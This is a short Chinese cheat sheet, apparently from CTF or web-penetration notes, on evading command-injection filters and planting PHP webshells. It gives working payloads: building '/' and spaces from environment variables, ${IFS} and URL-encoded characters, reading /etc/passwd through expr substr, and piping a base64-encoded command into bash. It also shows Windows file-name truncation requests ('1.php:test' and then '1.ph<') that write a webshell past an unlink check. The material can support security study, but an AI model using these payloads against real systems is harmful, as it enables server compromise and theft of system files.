首先执行一下env命令
,看看环境变量里有哪些可以用到的变量。比如:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
那么字符“/”就可以用${PATH:0:1}代替。
又比如有个变量是PHP_VERSION=5.6.30
,所以就可以用${PHP_VERSION:1:1}
代替。
空格的替代比较多,比如%09 %0a ,还有${IFS}
/
等符号替代 cat $(expr substr $PATH 1 1)etc$(expr substr $PATH 1 1)passwd
将任意命令base64编码以后,直接执行echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
即可。
<?php $filename = __DIR__ . '/tmp/' . $user['name']; $data = $user['info']; file_put_contents($filename, $data); // ...一些处理 if (file_exists($filename)) { unlink($filename); } ?>
windows下有以下方法:
info=webshell&name=1.php:test
info=webshell&name=1.ph<
依次发送上述两个请求,第一次请求:会截断文件名,导致创建一个新的空白文件1.php;第二次使用了一个通配符“<”,把内容写入了第一步创建的文件。
(其他方法:条件竞争;php_apache2_操作系统之间的一些黑魔法 | wonderkun's | blog)